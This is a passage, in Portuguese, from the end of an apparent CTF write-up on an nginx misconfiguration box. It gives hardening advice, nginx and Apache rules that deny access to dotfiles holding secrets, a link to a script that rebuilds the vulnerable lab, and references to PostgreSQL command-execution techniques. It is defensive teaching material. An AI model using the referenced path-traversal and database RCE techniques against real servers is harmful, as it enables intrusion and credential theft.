4.2. Proteção contra Directory Listing
Desabilitar listagem de diretórios:
- Sempre desabilitar o auindex no servidor web.
Controlar rigorosamente o conteúdo público:
- Apenas arquivos estritamente necessários devem estar acessíveis.
- Separar diretórios públicos de internos com permissões distintas.
4.3. Exposição de arquivos sensíveis
- Bloquear acesso via web a arquivos sensíveis:
1location ~ /\.(?!well-known).* {
2 deny all;
3}
1<FilesMatch "^\.">
2 Require all denied
3</FilesMatch>
Mover arquivos de configuração para diretórios inacessíveis pela web:
- Nunca mantenha arquivos como
.env
,nginx.conf
ou.htpasswd
dentro da pastaroot/alias
do servidor.
- Nunca mantenha arquivos como
Revisar permissões de arquivo e diretório no servidor:
- O usuário que executa o servidor web deve ter acesso somente ao que for estritamente necessário.
4.4. Fortalecer a autenticação e proteção de rotas
No cenário deste CTF, a autenticação estava em plain text e atenticação basic. Mas para cenários reais estas práticas são importantes.
- Não manter arquivos de autenticação acessíveis publicamente.
- Utilizar autenticação forte com rate-limiting:
- Implemente limites por IP para tentativas de login.
- Utilize autenticação multifator (MFA), se possível.
- Se possível, utilizar frameworks que encapsulam a autenticação em vez de
.htpasswd
.
4.5. Melhorar a configuração do NGINX
- Desabilitar configurações padrão não utilizadas.
- Especificar diretivas de segurança adicionais.
- Evitar uso de
alias
junto comproxy_pass
sem checagem de path. - Revisar todas as regras do NGINX e aplicar negação explícita a arquivos críticos.
4.6. Mitigar execução de comandos via banco
- Restringir permissões no banco de dados:
- Desativar o uso de extensões como as usadas no CTF.
- O usuário
postgres
não deve ser acessível via rede.
- Rodar o PostgreSQL com menor privilégio possível:
- O processo do banco não deve ter permissões de root nem pertencer ao grupo sudo.
- Segmentar acesso à rede:
- O acesso ao PostgreSQL deve estar acessível somente para IPs autorizados.
- Auditar comandos executados e acessos ao banco.
4.7. Hardening geral do servidor
- Desabilitar recursos não utilizados.
- Utilizar containers com imagens mínimas e seguras.
- Utilizar AppArmor, SELinux ou outros mecanismos de controle de acesso no SO.
- Configurar logs de acesso e erros com alertas para comportamento suspeito.
- Atualizações regulares do sistema e das dependências.
5. Simulação do cenário via Docker
Acesse o link: https://github.com/sandsoncosta/CTF---Security-Misconfiguration e clone o repositório. Execute o script com o sudo. O script automagicamente criará o compose e todos os containers para replicar o cenário do CTF.
A box foi realizada no site da Extreme Hacking, caso não queira simular localmente, basta acessar o site, se cadastrar e jogar.
6. Referências
- RFC 3986 – Uniform Resource Identifier (URI): Generic Syntax
- How nginx processes a request - Nginx
- Converting rewrite rules - Nginx
- Nginx Proxy Module - Nginx
- Path Traversal - OWASP
- Path Traversal - PortSwigger
- The Threat of Directory Traversal Attacks - Accunetix
- RCE to program - HackTricks
- Input Validation Cheat Sheet - OWASP Cheat Sheet Series
- Password Storage Cheat Sheet - OWASP Cheat Sheet Series
- Secrets Management Cheat Sheet - OWASP Cheat Sheet Series
- Logging Cheat Sheet - OWASP Cheat Sheet Series
- A05:2021 – Security Misconfiguration - OWASP Top 10:2021
- NIST SP 800-53 Rev. 5 - Security and Privacy Controls for Information Systems and Organizations
- RCE to program
- CVE-2019-9193 - GitHub
Vou ficar muito contente em receber um feedback seu.